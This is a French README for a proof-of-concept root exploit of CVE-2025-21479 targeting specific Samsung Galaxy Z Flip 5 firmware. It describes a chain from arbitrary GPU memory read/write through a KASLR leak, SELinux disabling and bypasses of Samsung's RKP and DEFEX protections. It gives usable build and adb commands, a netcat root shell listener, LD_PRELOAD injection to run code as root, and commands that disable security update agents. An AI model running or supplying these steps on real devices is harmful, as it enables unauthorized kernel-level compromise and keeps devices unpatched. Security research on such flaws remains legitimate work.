
CVE-2025-21479 PoC pour ZFlip5 avec Knox qui gêne!(˶˃ ᵕ ˂˶)
Image
R/W physique arbitraire GPU (CVE-2025-21479) -> fuite KASLR -> SELinux permissif -> serveur root init-hook sécurisé RKP & contournement DEFEX exécution binaire personnalisée (LD_PRELOAD)
Cela prend environ 6 minutes.. Soyez patient.
Je l'optimiserai plus tard.
Galaxy Z Flip 5 (SM-F731N)
Micrologiciel : F731NKSU5EYD9
Android : 15
Correctif de sécurité : 2025-04-01
SoC : Snapdragon 8 Gen 2 (SM8550 / kalama)
GPU : Adreno 740 v2
Galaxy Z Flip 5 (SM-F7310) — merci à @eoegamer pour les tests et le pilotage !!
Micrologiciel : F7310ZCS4CXH2
Android : 14
SoC : Snapdragon 8 Gen 2 (SM8550 / kalama)
GPU : Adreno 740
Utilisez le motif du micrologiciel GPU :
xxd /vendor/firmware/a740_sqe.fw | grep -i "0300 422a"
Si cela correspond, le micrologiciel est vulnérable
; vulnerable firmware (v675)
and $04, $12, 0x3
; patched firmware (v676)
and $04, $12, 0x7
exploit.c est construit pour F731NKSU5EYD9.
Pour un autre micrologiciel, re-ciblez-le d'abord avec port_extract.py (voir PORTING.md)
# build exploit.c with the Android NDK (aarch64), e.g.:
# $NDK/toolchains/llvm/prebuilt/*/bin/aarch64-linux-android34-clang exploit.c -o cheese
adb push cheese /data/local/tmp/
adb shell 'chmod +x /data/local/tmp/cheese; /data/local/tmp/cheese'
Exécutez-le une fois par démarrage (le serveur root n'est pas persistant).
En cas de succès, il laisse un écouteur root toybox nc lié à loopback (127.0.0.1:4444). Obtenez un shell root depuis adb shell :
adb shell
nc 127.0.0.1 4444 # root shell, uid=0 (u:r:sec_system_init_shell:s0)
Les binaires d'origine peuvent toujours s'exécuter directement.
Le problème est que DEFEX bloque les binaires natifs personnalisés lorsqu'ils sont exécutés directement.
Donc à la place, exécutez votre code personnalisé en tant que bibliothèque LD_PRELOAD injectée dans un processus hôte d'origine depuis le shell root :
LD_PRELOAD=/data/local/tmp/test.so /system/bin/toybox true
Construisez test.so avec une entrée __attribute__((constructor)) ; son constructeur s'exécute en tant que root à l'intérieur de l'hôte d'origine !
Si cela bloque pendant plus de 15 minutes, redémarrez et laissez l'appareil refroidir.
Le balayage GPU est probabiliste. Réessayez ou redémarrez en cas d'échec.
Désactiver les mises à jour logicielles
Désactiver :
pm disable-user --user 0 com.sec.android.soagent
pm disable-user --user 0 com.wssyncmldm
Réactiver :
pm enable --user 0 com.sec.android.soagent
pm enable --user 0 com.wssyncmldm
Uniquement pour la recherche en sécurité et l'éducation autorisées. L'appareil et le micrologiciel exacts doivent correspondre.